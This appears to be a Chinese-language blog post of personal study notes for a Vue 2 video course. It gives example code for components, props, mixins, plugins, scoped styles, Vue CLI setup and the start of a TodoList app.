在这里插入图片描述
关键点3:局部注册app,template就调用< app>< /app>

课程

3.组件的嵌套.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名:{{name}}</h2>	
					<h2>学生年龄:{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			//注册组件(局部)
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习!'
				}
			}
		})
		
		//定义app组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			//注册组件(局部)
			components:{app}
		})
	</script>
</html>

在这里插入图片描述

057_尚硅谷Vue技术_VueComponent构造函数 ~ # 058_尚硅谷Vue技术_Vue实例与组件实例

Season总结

		关于VueComponent:
					1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

					2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
						即Vue帮我们执行的:new VueComponent(options)。

					3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

					4.关于this指向:
							(1).组件配置中:
										data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
							(2).new Vue(options)配置中:
										data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

					5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
						Vue的实例对象,以后简称vm。

关键点1:vm身上有$ children,里面有2个VC
在这里插入图片描述

课程

4.VueComponent.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			关于VueComponent:
						1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

						2.我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,
							即Vue帮我们执行的:new VueComponent(options)3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

						4.关于this指向:
								(1).组件配置中:
											data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
								(2).new Vue(options)配置中:
											data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

						5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
							Vue的实例对象,以后简称vm。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!'
				}
			},
			components:{test}
		})


		// console.log('@',school)
		// console.log('#',hello)

		//创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>
</html>

在这里插入图片描述

059_尚硅谷Vue技术_一个重要的内置关系

Season总结

			1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
			2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

关键点1:显示原型属性和隐式原型属性

		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性

		console.log(d.__proto__) //隐式原型属性

		console.log(Demo.prototype === d.__proto__)

		//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99

		console.log('@',d)

在这里插入图片描述

关键点2:分析Vue与VueComponent的关系。
VueComponent的原型对象的原型对象是Vue的原型对象,请注意黄色的线。
VC身上找不到属性,可以先在Vue上找,再找不到才到Object上找。
为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
在这里插入图片描述
关键点3:这个 __proto__ 和[[Prototype]]相似在这里插入图片描述
在这里插入图片描述

课程

5.一个重要的内置关系.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>一个重要的内置关系</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
				2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this)
					console.log(this.x)
				}
			},
		})

		//创建一个vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})

		
		//定义一个构造函数
		/* function Demo(){
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性

		console.log(d.__proto__) //隐式原型属性

		console.log(Demo.prototype === d.__proto__)

		//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99

		console.log('@',d) */

	</script>
</html>

在这里插入图片描述

060_单文件组件

课程

只是做个样子,没有脚手架运行不了。
在这里插入图片描述
App.vue

<template>
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
	import School from './School.vue'
	import Student from './Student.vue'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

index.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<!-- <script type="text/javascript" src="../js/vue.js"></script> -->
		<!-- <script type="text/javascript" src="./main.js"></script> -->
	</body>
</html>

main.js

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

School.vue

<template>
	<div class="demo">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {
		name:'School',
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生年龄:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

061_创建Vue脚手架

课程

3.1. 初始化脚手架
3.1.1. 说明
Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)
最新的版本是 4.x
文档:Vue CLI
3.1.2. 具体步骤
如果下载缓慢请配置 npm 淘宝镜像:npm config set registry http://registry.npm.taobao.org
全局安装@vue/cli:npm install -g @vue/cli
切换到你要创建项目的目录,然后使用命令创建项目:vue create xxxx
选择使用vue的版本
启动项目:npm run serve
暂停项目:Ctrl+C

062_分析脚手架结构

一堆坑

1.VUE报错You are using the runtime-only build of Vue where the template compiler is not available
https://zhengkai.blog.csdn.net/article/details/107182655
解法1==>runtimeCompiler: true,
在这里插入图片描述
解法2:使用render不使用template
在这里插入图片描述

2.error Component name “School“ should always be multi-word vue/multi-word-component-names 解决
https://blog.csdn.net/weixin_55856685/article/details/125144128
==>TheSchool命名加The
在这里插入图片描述
在这里插入图片描述

https://blog.csdn.net/weixin_56035334/article/details/124929626
==> vue.config.js,配置命令行lintOnSave:false,

3.Mixed spaces and tabs no-mixed-spaces-and-tabs解决方法
https://blog.csdn.net/weixin_45771601/article/details/123518944
==>“no-mixed-spaces-and-tabs”:0

脚手架文件结构

脚手架文件结构:

.文件目录
├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   └── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
└── package-lock.json: 包版本控制文件

课程

src/components/School.vue

<template>
    <div id='Demo'>
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>
    </div>
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'尚硅谷',
                address:'北京'
            }
        },
        methods: {
            showName() {
                alert(this.name)
            }
        },
    }
</script>

<style>
    #Demo{
        background: orange;
    }
</style>

src/components/Student.vue:

<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
                age:20
            }
        },
    }
</script>

src/App.vue:

<template>
    <div>
        <School></School>
        <Student></Student>
    </div>
</template>

<script>
    import School from './components/School.vue'
    import Student from './components/Student.vue'

    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

src/main.js:

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
    el:'#app',
    render: h => h(App),
})

public/index.html:

<!DOCTYPE html>
<html lang="">
    <head>
        <meta charset="UTF-8">
        <!-- 针对IE浏览器的特殊配置,含义是让IE浏览器以最高渲染级别渲染页面 -->
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <!-- 开启移动端的理想端口 -->
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <!-- 配置页签图标 -->
        <link rel="icon" href="<%= BASE_URL %>favicon.ico">
        <!-- 配置网页标题 -->
        <title><%= htmlWebpackPlugin.options.title %></title>
    </head>
    <body>
        <!-- 容器 -->
        <div id="app"></div>
    </body>
</html>

效果:
在这里插入图片描述

063_尚硅谷Vue技术_render函数

老师总结

关于不同版本的函数:
1.vue.js 与 vue.runtime.xxx.js的区别:
vue.js 是完整版的 Vue,包含:核心功能+模板解析器
vue.runtime.xxx.js 是运行版的 Vue,只包含核心功能,没有模板解析器

2.因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 配置项,需要使用 render函数接收到的createElement 函数去指定具体内容。

课程

main.js

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
    el:'#app',
    // 简写形式
	render: h => h(App),
    // 完整形式
	// render(createElement){
	//     return createElement(App)
	// }
})

064_尚硅谷Vue技术_修改默认配置

  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

https://cli.vuejs.org/zh/config/#vue-config-js
在这里插入图片描述

课程

  • vue.config.js 是一个可选的配置文件,如果项目的(和 package.json 同级的)根目录中存在这个文件,那么它会被 @vue/cli-service 自动加载。
  • 使用 vue.config.js 可以对脚手架进行个性化定制,详见配置参考 | Vue CLI。

vue.config.js

module.exports = {
    pages: {
        index: {
            // 入口
            entry: 'src/index/main.js'
        }
    },
  // 关闭语法检查
  lineOnSave:false
}

065_尚硅谷Vue技术_ref属性

老师总结

  1. 被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取:this.$refs.xxx

课程

App.vue

<template>
    <div>
        <h1 ref="title">{{msg}}</h1>
        <School ref="sch"/>
        <button @click="show" ref="btn">点我输出ref</button>
    </div>
</template>

<script>
    import School from './components/School.vue'
    export default {
        name:'App',
        components: { School },
        data() {
            return {
                msg:'欢迎学习Vue!'
            }
        },
        methods:{
            show(){
                console.log(this.$refs.title)
                console.log(this.$refs.sch)
                console.log(this.$refs.btn)
            }
        }
    }
</script>

在这里插入图片描述

Season实操

App.vue

<template>
	<div>
		<h1 ref="title">{{msg}}</h1>
		<button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
		<the-school  ref="sch"></the-school>
		<the-student></the-student>
	</div>
</template>

<script>
	//引入组件
    import TheSchool from './components/TheSchool.vue'
    import TheStudent from './components/TheStudent.vue'

	export default {
		name:'App',
		components:{
			TheSchool,
			TheStudent,
		},
		data(){
			return {
				msg:'欢迎学习Vue',
			}
		},
		methods: {
			showDOM(){
				console.log(this.$refs.title)
				console.log(this.$refs.btn)
				console.log(this.$refs.sch)
			}
		},
	}
</script>

在这里插入图片描述

(数据收集)066_props配置

props配置项

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

  3. 接收数据:

    1. 第一种方式(只接收):props:['name']

    2. 第二种方式(限制类型):props:{name:String}

    3. 第三种方式(限制类型、限制必要性、指定默认值):

      props:{
      	name:{
      	type:String, //类型
      	required:true, //必要性
      	default:'老王' //默认值
      	}
      }
      

    备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

在这里插入图片描述

课程代码

src/App.vue:

<template>
    <div>
        <Student name="JOJO" sex="男酮" :age="20" />
    </div>
</template>

<script>
    import Student from './components/Student.vue'
    export default {
        name:'App',
        components: { Student },
    }
</script>

src/components/Student.vue:

<template>
    <div>
        <h1>{{msg}}</h1>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <h2>学生年龄:{{age}}</h2>     
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                msg:"我是一名来自枝江大学的男酮,嘿嘿,我的金轮~~",
            }
        },
        // 简单声明接收
		// props:['name','age','sex']

        // 接收的同时对数据进行类型限制
		/* props:{
			name:String,
			age:Number,
			sex:String
		} */

        // 接收的同时对数据进行类型限制 + 指定默认值 + 限制必要性
		props:{
			name:{
				type:String,
				required:true,
			},
			age:{
				type:Number,
				default:99
			},
			sex:{
				type:String,
				required:true
			}
		}
    }
</script>

在这里插入图片描述

1.The data property “age” is already declared as a prop. Use prop default value instead.https://blog.csdn.net/caseywei/article/details/108062924

2.不要直接修改props的属性
在这里插入图片描述
3.props中字段的属性required:true,就必须传入,否则报错。
若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。
TheStudent.vue

<template>
	<div>
		<h1>{{msg}}</h1>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<h2>学生年龄:{{myAge}}</h2>
		<button @click="changeMyAge()">点击增加年龄</button>
	</div>
</template>

<script>
	 export default {
		name:'TheStudent',
		data(){
			return {
				msg:'default',
				myAge:this.age
			}
		},
		props:{
			name:{
				type:String,
				default:'默认名字'
			},
			age:{
				type:Number,
				default:99,
			},
			sex:{
				type:String,
				default:'默认性别'
			},
		},
		methods: {
			changeMyAge(){
				this.myAge ++
			}
		},

	}
</script>

067_尚硅谷Vue技术_mixin混入

混入示意图

混入就是个公共集。
在这里插入图片描述

mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式:

    第一步定义混合:

    {
        data(){....},
        methods:{....}
        ....
    }
    

    第二步使用混入:

    ​ 全局混入:Vue.mixin(xxx)
    ​ 局部混入:mixins:['xxx']

局部混入:

src/mixin.js:

export const mixin = {
    methods: {
        showName() {
            alert(this.name)
        }
    },
    mounted() {
        console.log("你好呀~")
    }
}

src/components/School.vue

<template>
    <div>
        <h2 @click="showName">学校姓名:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>   
    </div>
</template>

<script>
    //引入混入
    import {mixin} from '../mixin'
    
    export default {
        name:'School',
        data() {
            return {
                name:'尚硅谷',
				address:'北京'
            }
        },
        mixins:[mixin]
    }
</script>

src/components/Student.vue:

<template>
    <div>
        <h2 @click="showName">学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>   
    </div>
</template>

<script>
    //引入混入
    import {mixin} from '../mixin'
    
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
				sex:'男'
            }
        },
		mixins:[mixin]
    }
</script>

src/App.vue:

<template>
    <div>
        <School/>
        <hr/>
        <Student/>
    </div>
</template>

<script>
    import Student from './components/Student.vue'
    import School from './components/School.vue'

    export default {
        name:'App',
        components: { Student,School },
    }
</script>

在这里插入图片描述

全局混入:

src/main.js:

import Vue from 'vue'
import App from './App.vue'
import {mixin} from './mixin'

 - [ ] List item

Vue.config.productionTip = false
Vue.mixin(mixin)

new Vue({
    el:"#app",
    render: h => h(App)
})

TheSchool.vue和TheStudent.vue

// import {mixin} from '../mixin'

// mixins:[mixin]

(数据收集)068_尚硅谷Vue技术_插件

插件

  1. 功能:用于增强Vue

  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

  3. 定义插件:

    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    
  4. 使用插件:Vue.use()

Season看法:

插件可以将过滤器、混入、data封装后,注册成全局变量来使用。

课程代码

src/plugin.js:

export default {
	install(Vue,x,y,z){
		console.log(x,y,z)
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		//给Vue原型上添加一个方法(vm和vc就都能用了)
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

src/main.js:

import Vue from 'vue'
import App from './App.vue'
import plugin from './plugin'

Vue.config.productionTip = false
Vue.use(plugin,1,2,3)

new Vue({
    el:"#app",
    render: h => h(App)
})

src/components/School.vue:

<template>
    <div>
        <h2>学校姓名:{{name | mySlice}}</h2>
        <h2>学校地址:{{address}}</h2>   
    </div>
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'尚硅谷atguigu',
				address:'北京'
            }
        }
    }
</script>

src/components/Student.vue:

<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2> 
        <button @click="test">点我测试hello方法</button>  
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
				sex:'男'
            }
        },
        methods:{
            test() {
                this.hello()
            }
        }
    }
</script>

在这里插入图片描述

069_尚硅谷Vue技术_scoped样式

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped>

课程代码

src/components/School.vue:

<template>
    <div class="demo">
        <h2>学校姓名:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>   
    </div>
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'尚硅谷',
				address:'北京'
            }
        }
    }
</script>

<style scoped>
    .demo{
        background-color: blueviolet;
    }
</style>

src/components/Student.vue

<template>
    <div class="demo">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2> 
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
				sex:'男'
            }
        }
    }
</script>

<style scoped>
    .demo{
        background-color: chartreuse;
    }
</style>

src/App.vue:

<template>
    <div>
        <School/>
        <Student/>
    </div>
</template>

<script>
    import Student from './components/Student.vue'
    import School from './components/School.vue'

    export default {
        name:'App',
        components: { Student,School },
    }
</script>

在这里插入图片描述

070_TodoList案例_静态

实现静态组件:抽取组件,使用组件实现静态页面效果

1.拆分组件
在这里插入图片描述

2.原网页进行结构和代码拆分
在这里插入图片描述
拆分成4个组件
在这里插入图片描述
3.呈现样式
在这里插入图片描述

代码(不是重点)

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
      
      <MyHeader/>
      <MyList/>
      <MyFooter/>

			</div>
		</div>
	</div>

</template>

<script>
	//引入组件
  import MyHeader from './components/MyHeader.vue'
  import MyList from './components/MyList.vue'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{
			MyHeader,
			MyList,
			MyFooter,
		},
		data(){
		},
		methods: {
		},
	}
</script>

<style >
/*base*/
body {
  background: #fff;
}

.btn {
  display: inline-block;
  padding: 4px 12px;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  border-radius: 4px;
}

.btn-danger {
  color: #fff;
  background-color: #da4f49;
  border: 1px solid #bd362f;
}

.btn-danger:hover {
  color: #fff;
  background-color: #bd362f;
}

.btn:focus {
  outline: none;
}

.todo-container {
  width: 600px;
  margin: 0 auto;
}
.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}


</style>

MyHeader.vue

<template>
	<div class="todo-header">
		<input type="text" placeholder="请输入你的任务名称,按回车键确认"/>
	</div>
</template>

<script>
	export default {
		name:'MyHeader',
	}
</script>


<style scoped>
	/*header*/
	.todo-header input {
	width: 560px;
	height: 28px;
	font-size: 14px;
	border: 1px solid #ccc;
	border-radius: 4px;
	padding: 4px 7px;
	}

	.todo-header input:focus {
	outline: none;
	border-color: rgba(82, 168, 236, 0.8);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
	}
</style>

MyList.vue

<template>
	<ul class="todo-main">
    <MyItem/>
    <MyItem/>
    <MyItem/>
    <MyItem/>
	</ul>
</template>

<script>
	//引入组件
	import MyItem from './MyItem.vue';

	export default {
		name:'MyList',
		components:{
			MyItem,
		}
	}
</script>


<style scoped>

/*main*/
.todo-main {
  margin-left: 0px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding: 0px;
}

.todo-empty {
  height: 40px;
  line-height: 40px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding-left: 5px;
  margin-top: 10px;
}

</style>

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox"/>
			<span>xxxxx</span>
		</label>
		<button class="btn btn-danger" style="display:none">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
	}
</script>


<style scoped>
/*item*/
li {
  list-style: none;
  height: 36px;
  line-height: 36px;
  padding: 0 5px;
  border-bottom: 1px solid #ddd;
}

li label {
  float: left;
  cursor: pointer;
}

li label li input {
  vertical-align: middle;
  margin-right: 6px;
  position: relative;
  top: -1px;
}

li button {
  float: right;
  display: none;
  margin-top: 3px;
}

li:before {
  content: initial;
}

li:last-child {
  border-bottom: none;
}
</style>

MyFooter.vue

<template>
	<div class="todo-footer">
		<label>
		<input type="checkbox"/>
		</label>
		<span>
		<span>已完成0</span> / 全部2
		</span>
		<button class="btn btn-danger">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
	}
</script>


<style scoped>

/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

071_TodoList案例_初始化列表

展示动态数据:数据类型、数据名称、数据保存在哪个组件

数据保存可以先放在MyList.vue中,利用MyItem.vue的props来接收MyList.vue的数据todo。

    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },

在这里插入图片描述

代码

MyList.vue

<template>
	<ul class="todo-main">
    <MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj"/>
	</ul>
</template>

<script>
	//引入组件
	import MyItem from './MyItem.vue';

	export default {
		name:'MyList',
		components:{
			MyItem,
		},
    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },
	}
</script>


<style scoped>

/*main*/
.todo-main {
  margin-left: 0px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding: 0px;
}

.todo-empty {
  height: 40px;
  line-height: 40px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding-left: 5px;
  margin-top: 10px;
}

</style>

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" />
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" style="display:none">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
    props:['todo',]
	}
</script>


<style scoped>
/*item*/
li {
  list-style: none;
  height: 36px;
  line-height: 36px;
  padding: 0 5px;
  border-bottom: 1px solid #ddd;
}

li label {
  float: left;
  cursor: pointer;
}

li label li input {
  vertical-align: middle;
  margin-right: 6px;
  position: relative;
  top: -1px;
}

li button {
  float: right;
  display: none;
  margin-top: 3px;
}

li:before {
  content: initial;
}

li:last-child {
  border-bottom: none;
}
</style>

(数据传递之兄弟通信)072_TodoList案例_添加

安装nanoid

npm i nanoid

组件间通信之兄弟通信

1.在现有知识下,兄弟组件无法直接通信
在这里插入图片描述
2.需要通过共同的父亲来通信。
在这里插入图片描述
3.通信的前提是当年父组件有预留方法。儿子调一个函数,函数的定义本来是在父亲里的。
在这里插入图片描述

组件间通信之兄弟通信SOP

1.数据放在兄弟组件的共同父组件App上

    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },

2.子组件 ==> 父组件 通信(要求父组件先给子组件一个函数)

		methods: {
      addTodo(x){
        console.log('App',this)
        this.todos.unshift(x)
      }
		},

3.父组件传递对应函数addTodo和数据todos给子组件

      <MyHeader :addTodo="addTodo"/>
      <MyList :todos='todos'/>

4.子组件props接受数据和接收方法

props:['todo',]
props:['addTodo']

5.子组件用一个新方法来调用父组件传入的方法addTodo

<input type="text" placeholder="请输入你的任务名称,按回车键确认" @keyup.enter="add" />

.......

		methods: {
			add(e){
				//将用户的输入包装成一个todo对象
				//console.log(e.target.value)
				const todoObj = {id:nanoid(),title:e.target.value,done:false}
				// console.log(todoObj)
				console.log('MyHeader@@@@@@',this)
				this.addTodo(todoObj)
			}
		},

参数参考https://blog.csdn.net/weixin_48702807/article/details/117815379

在这里插入图片描述

组件间通信之兄弟通信完整代码

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
      
      <MyHeader :addTodo="addTodo"/>
      <MyList :todos="todos"/>
      <MyFooter/>

			</div>
		</div>
	</div>

</template>

<script>
	//引入组件
  import MyHeader from './components/MyHeader.vue'
  import MyList from './components/MyList.vue'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{
			MyHeader,
			MyList,
			MyFooter,
		},
    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },
		methods: {
      addTodo(x){
        this.todos.unshift(x)
      }
		},
	}
</script>

MyList.vue

<template>
	<ul class="todo-main">
    <MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj"/>
	</ul>
</template>

<script>
	//引入组件
	import MyItem from './MyItem.vue';

	export default {
		name:'MyList',
		components:{
			MyItem,
		},
    props:['todos']
	}
</script>

MyHeader.vue

<template>
	<div class="todo-header">
		<input type="text" placeholder="请输入你的任务名称,按回车键确认" @keyup.enter="add($event)"/>
	</div>
</template>

<script>
	import { nanoid } from 'nanoid'

	export default {
		name:'MyHeader',
		props:['addTodo',],
		methods: {
			add(e){
				const todoObj = {id:nanoid(),title:e.target.value,done:false}
				console.log('MyHeader@@@@@@',this)
				this.addTodo(todoObj)
			}
		},

	}
</script>

在这里插入图片描述

(数据传递之父子孙通信)073_TodoList案例_勾选

勾选的思路

1.取到id
2.根据id拿到对应数据
3.修改对应数据的状态
4.涉及父子孙三级传递,子组件作为数据传递的过渡。
在这里插入图片描述

勾选:实现方法1-click

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id)"/>
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" style="display:none">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
    props:['todo',],
    methods: {
      handleCheck(id){
        console.log(id)
      }
    },
	}
</script>

